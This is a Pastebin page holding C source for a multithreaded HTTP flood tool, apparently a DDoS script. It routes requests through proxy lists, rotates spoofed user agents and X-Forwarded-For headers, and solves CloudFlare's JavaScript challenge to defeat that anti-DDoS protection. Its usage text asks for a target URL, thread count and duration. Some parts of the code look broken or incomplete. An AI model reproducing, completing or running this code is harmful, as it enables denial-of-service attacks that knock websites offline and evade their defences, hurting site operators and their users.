AnonZor

haha

Sep 5th, 2021
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.36 KB | None | 0 0
  1. /*
  2. * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3. */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/resource.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <signal.h>
  14. #include <pthread.h>
  15. #include <netinet/udp.h>
  16. #include <netinet/tcp.h>
  17. #include <netinet/ip.h>
  18. #include <netinet/in.h>
  19. #include <netinet/if_ether.h>
  20. #include <netdb.h>
  21. #include <net/if.h>
  22. #include <ctype.h>
  23. #include <arpa/inet.h>
  24.  
  25. #define RND_CHAR (char)((rand() % 26)+97)
  26.  
  27. char *useragents[] = {
  28. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  29. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  30. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  31. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  32. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  33. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  34. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  35. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  36. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  37. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  38. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  39. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  40. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  41. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  42. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  43. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  44. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  45. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  46. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  47. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  48. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  49. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  50. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  51. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  52. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  53. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  54. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  55. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  56. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  57. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  58. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  59. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  60. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  61. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  62. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  63. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  64. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  65. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  66. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  67. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  68. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  69. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  70. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  71. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  72. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  73. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  74. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  75. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  76. };
  77. #define ATTACKPORT 80
  78. char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nX-Forwarded-For: 1.1.1.1\r\nConnection: close\r\n#cookies#%s\r\n%s";
  79. char *postpayload;
  80. struct urlparts {
  81. char * name;
  82. char separator[4];
  83. char value[128];
  84. } parts[] = {
  85. { "scheme", ":" },
  86. { "userid", "@" },
  87. { "password", ":" },
  88. { "host", "//" },
  89. { "port", ":" },
  90. { "path", "/" },
  91. { "param", ";" },
  92. { "fragment", "#" }
  93. };
  94. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  95. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  96. struct urlparts *returnparts[8];
  97. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  98. struct proxy { char *type; char *ip; int port; int working; };
  99. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  100. struct list *head = NULL;
  101. char parseError[128];
  102. int parseURL(char *url, struct urlparts **returnpart);
  103. char * strsplit(char * s, char * tok);
  104. char firstpunc(char *s);
  105. int strleft(char * s, int n);
  106. void setupparts();
  107. void freeparts();
  108. char *stristr(const char *String, const char *Pattern);
  109. char *str_replace(char *orig, char *rep, char *with);
  110. char *geturl(char *url, char *useragent, char *ip);
  111. int evalmath(char *input);
  112. char *ipstr;
  113. char *urll;
  114. static int rps = 0;
  115. pthread_mutex_t parts_mutex = PTHREAD_MUTEX_INITIALIZER;
  116.  
  117. void removeSubstring(char *s,const char *toremove)
  118. {
  119. while( s=strstr(s,toremove) )
  120. {
  121. memmove(s,s+strlen(toremove),1+strlen(s+strlen(toremove)));
  122. }
  123. }
  124.  
  125.  
  126. void *flood(void *par) {
  127. struct list *startpoint = (struct list *)par;
  128. int i;
  129. struct sockaddr_in serverAddr;
  130. signal(SIGPIPE, SIG_IGN);
  131. char *cookies = malloc(10240);
  132. memset(cookies, 0, 10240);
  133.  
  134. while(1)
  135. {
  136. int sent = 0;
  137. if(startpoint->data->working == 0)
  138. {
  139. startpoint = startpoint->next;
  140. continue;
  141. }
  142.  
  143. memset(&serverAddr, 0, sizeof(serverAddr));
  144. serverAddr.sin_family = AF_INET;
  145. serverAddr.sin_port = htons(startpoint->data->port);
  146. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  147. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  148. u_int yes=1;
  149. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  150. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  151. {
  152. startpoint->data->working = 0;
  153. startpoint = startpoint->next;
  154. continue;
  155. }
  156. char *recvbuf = malloc(1024);
  157. bzero(recvbuf, 1024);
  158. int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  159. if(gotbytes < 1)
  160. {
  161. startpoint->data->working = 0;
  162. startpoint = startpoint->next;
  163. close(serverSocket);
  164. continue;
  165. }
  166. free(recvbuf);
  167. }
  168. char *httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  169. if(httpprepayload == NULL)
  170. {
  171. startpoint = startpoint->next;
  172. close(serverSocket);
  173. continue;
  174. }
  175. char *httppayload = NULL;
  176. if(strlen(cookies)>0)
  177. {
  178. httppayload = str_replace(httpprepayload, "#cookies#", cookies);
  179. if(httppayload == NULL)
  180. {
  181. startpoint = startpoint->next;
  182. close(serverSocket);
  183. continue;
  184. }
  185. free(httpprepayload);
  186. } else {
  187. removeSubstring(httpprepayload, "#cookies#");
  188. httppayload = httpprepayload;
  189. }
  190. char *tmp = NULL;
  191. char *lastrandom = malloc(16);
  192. bzero(lastrandom, 16);
  193. while((tmp = strstr(httppayload, "ANDOM%"))!=NULL)
  194. {
  195. if(*(tmp-1) == 0x4C)
  196. {
  197. strncpy(tmp-2, lastrandom, 8);
  198. } else
  199. {
  200. *(tmp-2) = RND_CHAR;
  201. *(tmp-1) = RND_CHAR;
  202. *(tmp) = RND_CHAR;
  203. *(tmp+1) = RND_CHAR;
  204. *(tmp+2) = RND_CHAR;
  205. *(tmp+3) = RND_CHAR;
  206. *(tmp+4) = RND_CHAR;
  207. *(tmp+5) = RND_CHAR;
  208. strncpy(lastrandom, tmp-2, 8);
  209. }
  210.  
  211. }
  212. send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  213. free(httppayload);
  214. int bytes = 0;
  215. int total = 0;
  216. int currentsize = 4096;
  217. char *buffer = malloc(4096);
  218. bzero(buffer, 4096);
  219. bytes = recv(serverSocket, buffer, 4096, 0);
  220. while(bytes > 0)
  221. {
  222. total += bytes;
  223. if(total+4096 > currentsize)
  224. {
  225. char *new_buffer = malloc(total+4097);
  226. bzero(new_buffer, total+4097);
  227. memcpy(new_buffer, buffer, total);
  228. free(buffer);
  229. buffer = new_buffer;
  230. currentsize = total+4096;
  231. }
  232. bytes = recv(serverSocket, buffer+total, 4096, 0);
  233. }
  234. if(strstr(buffer, "\r\n\r\n")==NULL)
  235. {
  236. free(buffer);
  237. startpoint = startpoint->next;
  238. close(serverSocket);
  239. continue;
  240. }
  241. char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  242. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  243. char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  244. char *headers = strstr(headerstatus, "\r\n")+2;
  245. if(stristr(body, "DDoS protection by CloudFlare") != NULL && stristr(body, "ChallengeForm") != NULL && stristr(body, "('#jschl_answer').val") != NULL && stristr(body, "jschl_vc") != NULL)
  246. {
  247. close(serverSocket);
  248. //we are pretty sure its a CF block page at this point
  249. char *formstart = stristr(body, "<form")+5;
  250. char *formend = stristr(formstart, "</form");
  251. char *action = stristr(formstart, "action=");
  252. char *actionname = NULL;
  253. if(action == NULL || action > formend)
  254. {
  255. actionname = urll;
  256. } else {
  257. char *actionstart = action;
  258. if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  259. {
  260. actionstart = strchr(action, '"')+1;
  261. actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  262. bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  263. strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  264. } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  265. {
  266. actionstart = strchr(action, '\'')+1;
  267. actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  268. bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  269. strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  270. } else {
  271. char *end = NULL;
  272. if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  273. {
  274. end = strchr(actionstart, '>');
  275. } else {
  276. end = strchr(actionstart, ' ');
  277. }
  278. actionname = malloc(end - action + 1);
  279. bzero(actionname, end - action + 1);
  280. strncpy(actionname, action, end - action);
  281. }
  282. }
  283. if(strcmp(actionname, "") == 0)
  284. {
  285. free(actionname);
  286. actionname = urll;
  287. }
  288. char *magiccookiestart = stristr(formstart, "name=\"jschl_vc\" value=\"");
  289. if(magiccookiestart==NULL)
  290. {
  291. free(headerstatus);
  292. free(buffer);
  293. close(serverSocket);
  294. startpoint = startpoint->next;
  295. continue;
  296. }
  297. magiccookiestart = magiccookiestart+strlen("name=\"jschl_vc\" value=\"");
  298. char *magiccookie = malloc((stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  299. memset(magiccookie, 0, (stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  300. strncpy(magiccookie, magiccookiestart, stristr(magiccookiestart, "\"")-magiccookiestart);
  301.  
  302. char *magicsumstart = stristr(body, "('#jschl_answer').val(");
  303. if(magicsumstart==NULL)
  304. {
  305. free(magiccookie);
  306. free(headerstatus);
  307. free(buffer);
  308. close(serverSocket);
  309. startpoint = startpoint->next;
  310. continue;
  311. }
  312. magicsumstart = magicsumstart+strlen("('#jschl_answer').val(");
  313. char *temp = malloc(1024);
  314. memset(temp, 0, 1024);
  315. strncpy(temp, magicsumstart, strstr(magicsumstart, ")")-magicsumstart);
  316. magicsumstart = temp;
  317.  
  318. int sum = 0;
  319. sum = evalmath(magicsumstart);
  320.  
  321. char *verifydata = malloc(1024);
  322. memset(verifydata, 0, 1024);
  323. strcat(verifydata, "act=jschl&jschl_vc=");
  324. strcat(verifydata, magiccookie);
  325. strcat(verifydata, "&jschl_answer=");
  326. char *sumstring = malloc(100);
  327. memset(sumstring, 0, 100);
  328. sprintf(sumstring, "%d", sum);
  329. strcat(verifydata, sumstring);
  330.  
  331. free(sumstring);
  332. char *verifypost = malloc(4096);
  333. memset(verifypost, 0, 4096);
  334. free(buffer);
  335. free(magicsumstart);
  336. free(magiccookie);
  337.  
  338. char *cookit = NULL;
  339. memset(cookies, 0, 10240);
  340. strcpy(cookies, "Cookie: ");
  341. int offset = 0;
  342. while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  343. {
  344. cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  345. char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  346. if(cookitend-cookit<1)
  347. {
  348. continue;
  349. }
  350. char *temp = malloc((cookitend-cookit)+3);
  351. bzero(temp, (cookitend-cookit)+3);
  352. strncpy(temp, cookit, cookitend-cookit);
  353. strcat(temp, "; ");
  354. if(strstr(cookies, temp)==NULL)
  355. {
  356. strncpy(cookies+strlen(cookies), temp, strlen(temp));
  357. }
  358. offset += strstr(cookit, "\r\n")-cookit;
  359. }
  360. strcat(cookies, "\r\n");
  361. free(headerstatus);
  362.  
  363. pthread_mutex_lock(&parts_mutex);
  364. setupparts();
  365. parseURL(actionname, returnparts);
  366. char *herpderp = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nX-Forwarded-For: 1.1.1.1\r\nConnection: close\r\n%sContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s";
  367. sprintf(verifypost, herpderp, returnparts[path]->value, returnparts[host]->value, startpoint->useragent, cookies, strlen(verifydata), verifydata);
  368. freeparts();
  369. free(verifydata);
  370. pthread_mutex_unlock(&parts_mutex);
  371.  
  372. memset(&serverAddr, 0, sizeof(serverAddr));
  373. serverAddr.sin_family = AF_INET;
  374. serverAddr.sin_port = htons(startpoint->data->port);
  375. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  376. serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  377. yes=1;
  378. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  379.  
  380. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  381. {
  382. startpoint->data->working = 0;
  383. startpoint = startpoint->next;
  384. continue;
  385. }
  386. send(serverSocket, verifypost, strlen(verifypost), MSG_NOSIGNAL);
  387. free(verifypost);
  388. bytes = 0;
  389. buffer = malloc(4097);
  390. bzero(buffer, 4097);
  391. bytes = recv(serverSocket, buffer, 4096, 0);
  392. while(bytes > 0)
  393. {
  394. total += bytes;
  395. if(total+4096 > currentsize)
  396. {
  397. char *new_buffer = malloc(total+4097);
  398. bzero(new_buffer, total+4097);
  399. memcpy(new_buffer, buffer, total);
  400. free(buffer);
  401. buffer = new_buffer;
  402. currentsize = total+4096;
  403. }
  404. bytes = recv(serverSocket, buffer+total, 4096, 0);
  405. }
  406. if(strstr(buffer, "\r\n\r\n")==NULL)
  407. {
  408. free(buffer);
  409. startpoint = startpoint->next;
  410. close(serverSocket);
  411. continue;
  412. }
  413.  
  414. headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  415. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  416. body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  417. headers = stristr(headerstatus, "\r\n")+2;
  418. char *cookoff = strstr(cookies, "\r\n");
  419. if(cookoff == NULL)
  420. {
  421. free(headerstatus);
  422. free(buffer);
  423. startpoint = startpoint->next;
  424. close(serverSocket);
  425. continue;
  426. }
  427. offset = 0;
  428. while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  429. {
  430. cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  431. char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  432. char *cookiesend = strstr(cookies, "\r\n");
  433. if(cookitend-cookit<1)
  434. {
  435. continue;
  436. }
  437. char *temp = malloc((cookitend-cookit)+3);
  438. bzero(temp, (cookitend-cookit)+1);
  439. strncpy(temp, cookit, cookitend-cookit);
  440. strcat(temp, "; ");
  441. if(strstr(cookies, temp)==NULL)
  442. {
  443. strncpy(cookies+(cookiesend-cookies), temp, strlen(temp));
  444. strcat(cookies, "\r\n");
  445. }
  446. offset += strstr(cookit, "\r\n")-cookit;
  447. }
  448. close(serverSocket);
  449.  
  450. memset(&serverAddr, 0, sizeof(serverAddr));
  451. serverAddr.sin_family = AF_INET;
  452. serverAddr.sin_port = htons(startpoint->data->port);
  453. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  454. serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  455. yes=1;
  456. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  457. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  458. {
  459. startpoint->data->working = 0;
  460. startpoint = startpoint->next;
  461. continue;
  462. }
  463. send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  464. free(httppayload);
  465. bytes = 0;
  466. buffer = malloc(4096);
  467. bytes = recv(serverSocket, buffer, 4096, 0);
  468. while(bytes > 0)
  469. {
  470. bzero(buffer, 4096);
  471. bytes = recv(serverSocket, buffer, 4096, 0);
  472. }
  473. }
  474. free(headerstatus);
  475. free(buffer);
  476. close(serverSocket);
  477. rps++;
  478. usleep(30000);
  479. startpoint = startpoint->next;
  480. }
  481. }
  482. pthread_t **threads = NULL;
  483. int main(int argc, char *argv[ ]) {
  484. if(argc < 6 || !canRun()){
  485. fprintf(stderr, "Invalid parameters!\n");
  486. fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  487. exit(-1);
  488. }
  489. fprintf(stdout, "Setting up Sockets...\n");
  490. int num_threads = atoi(argv[3]);
  491. char *method = argv[2];
  492. if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
  493. {
  494. fprintf(stderr, "Invalid parameters!\n");
  495. fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  496. exit(-1);
  497. }
  498.  
  499. setupparts();
  500. parseURL(argv[1], returnparts);
  501. if(argc > 5 && !(strcmp(argv[5], "0") == 0))
  502. {
  503. ipstr = malloc(strlen(argv[5])+1);
  504. bzero(ipstr, strlen(argv[5])+1);
  505. strcpy(ipstr, argv[5]);
  506. fprintf(stdout, "Using manual IP...\n");
  507. } else {
  508. struct hostent *he;
  509. struct in_addr a;
  510. he = gethostbyname(returnparts[host]->value);
  511. if (he)
  512. {
  513. while (*he->h_addr_list)
  514. {
  515. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  516. ipstr = malloc(INET_ADDRSTRLEN+1);
  517. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  518. break;
  519. }
  520. }
  521. else
  522. { herror("gethostbyname"); }
  523. }
  524. char *postdata = malloc(1);
  525. bzero(postdata, 1);
  526. char *extrahead = malloc(1);
  527. bzero(extrahead, 1);
  528. if(argc > 7)
  529. {
  530. fprintf(stdout, "Using post parameters\n");
  531. free(postdata);
  532. free(extrahead);
  533. postdata = argv[7];
  534. extrahead = malloc(4096);
  535. bzero(extrahead, 4096);
  536. sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
  537. }
  538. threads = malloc((num_threads + 1) * sizeof(pthread_t *));
  539. bzero(threads, (num_threads + 1) * sizeof(pthread_t *));
  540. postpayload = malloc(4096);
  541. urll = argv[1];
  542. sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
  543. freeparts();
  544. fprintf(stdout, "Starting Flood...\n");
  545. for(i = 0;i<num_threads;i++){
  546. *(threads + i) = malloc(sizeof(pthread_t));
  547. bzero(*(threads + i), sizeof(pthread_t));
  548. pthread_create(*(threads + i), NULL, &flood, (void *)head);
  549. head = head->next;
  550. }
  551. int temp = atoi(argv[4]);
  552. for(i = 0;i<temp;i++)
  553. {
  554. sleep(1);
  555. printf("R/s: %d\n", rps);
  556. rps = 0;
  557. }
  558. exit(0);
  559. }
  560. char *geturl(char *url, char *useragent, char *ip)
  561. {
  562. RETRY:
  563. setupparts();
  564. parseURL(url, returnparts);
  565. struct sockaddr_in serverAddr;
  566. bzero(&serverAddr, sizeof(serverAddr));
  567. serverAddr.sin_family = AF_INET;
  568. serverAddr.sin_port = htons(ATTACKPORT);
  569. serverAddr.sin_addr.s_addr = inet_addr(ip);
  570. int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  571. unsigned int yes = 1;
  572. setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  573. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  574. {
  575. printf("GETURL CONNECT FAILED, RETRYING\n");
  576. close(serverSocket);
  577. freeparts();
  578. goto RETRY;
  579. }
  580. int bytes = 0;
  581. char *payload = malloc(8094);
  582. bzero(payload, 8094);
  583. sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nX-Forwarded-For: 1.1.1.1\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  584. freeparts();
  585. bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  586. if(bytes == -1)
  587. {
  588. printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  589. close(serverSocket);
  590. goto RETRY;
  591. }
  592. int total = 0;
  593. int currentsize = 4096;
  594. char *buffer = malloc(4096);
  595. bzero(buffer, 4096);
  596. bytes = recv(serverSocket, buffer, 4096, 0);
  597. while(bytes > 0)
  598. {
  599. total += bytes;
  600. if(total+4096 > currentsize)
  601. {
  602. char *new_buffer = malloc(total+4096);
  603. bzero(new_buffer, total+4096);
  604. memcpy(new_buffer, buffer, total);
  605. free(buffer);
  606. buffer = new_buffer;
  607. currentsize = total+4096;
  608. }
  609. bytes = recv(serverSocket, buffer+total, 4096, 0);
  610. }
  611. return buffer;
  612. }
  613. char *stristr(const char *String, const char *Pattern)
  614. {
  615. char *pptr, *sptr, *start;
  616. uint slen, plen;
  617. for (start = (char *)String,
  618. pptr = (char *)Pattern,
  619. slen = strlen(String),
  620. plen = strlen(Pattern);
  621. slen >= plen;
  622. start++, slen--)
  623. {
  624.  
  625. while (toupper(*start) != toupper(*Pattern))
  626. {
  627. start++;
  628. slen--;
  629.  
  630. if (slen < plen)
  631. return(NULL);
  632. }
  633. sptr = start;
  634. pptr = (char *)Pattern;
  635. while (toupper(*sptr) == toupper(*pptr))
  636. {
  637. sptr++;
  638. pptr++;
  639.  
  640. if ('\0' == *pptr)
  641. return (start);
  642. }
  643. }
  644. return(NULL);
  645. }
  646. void freeparts()
  647. {
  648. return;
  649. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  650. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  651. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  652. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  653. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  654. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  655. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  656. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  657. /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
  658. return;
  659. }
  660. void setupparts()
  661. {
  662. returnparts[0] = malloc(sizeof(struct urlparts));
  663. returnparts[1] = malloc(sizeof(struct urlparts));
  664. returnparts[2] = malloc(sizeof(struct urlparts));
  665. returnparts[3] = malloc(sizeof(struct urlparts));
  666. returnparts[4] = malloc(sizeof(struct urlparts));
  667. returnparts[5] = malloc(sizeof(struct urlparts));
  668. returnparts[6] = malloc(sizeof(struct urlparts));
  669. returnparts[7] = malloc(sizeof(struct urlparts));
  670. /*returnparts[8] = malloc(sizeof(struct urlparts));*/
  671. bzero(returnparts[0], sizeof(struct urlparts));
  672. bzero(returnparts[1], sizeof(struct urlparts));
  673. bzero(returnparts[2], sizeof(struct urlparts));
  674. bzero(returnparts[3], sizeof(struct urlparts));
  675. bzero(returnparts[4], sizeof(struct urlparts));
  676. bzero(returnparts[5], sizeof(struct urlparts));
  677. bzero(returnparts[6], sizeof(struct urlparts));
  678. bzero(returnparts[7], sizeof(struct urlparts));
  679. /*bzero(returnparts[8], sizeof(struct urlparts));*/
  680. returnparts[0]->name = "scheme";
  681. strcpy(returnparts[0]->separator, ":");
  682. returnparts[1]->name = "userid";
  683. strcpy(returnparts[1]->separator, "@");
  684. returnparts[2]->name = "password";
  685. strcpy(returnparts[2]->separator, ":");
  686. returnparts[3]->name = "host";
  687. strcpy(returnparts[3]->separator, "//");
  688. returnparts[4]->name = "port";
  689. strcpy(returnparts[4]->separator, ":");
  690. returnparts[5]->name = "path";
  691. strcpy(returnparts[5]->separator, "/");
  692. returnparts[6]->name = "param";
  693. strcpy(returnparts[6]->separator, ";");
  694. /*returnparts[7]->name = "query";
  695. strcpy(returnparts[7]->separator, "?");*/
  696. returnparts[7]->name = "fragment";
  697. strcpy(returnparts[7]->separator, "#");
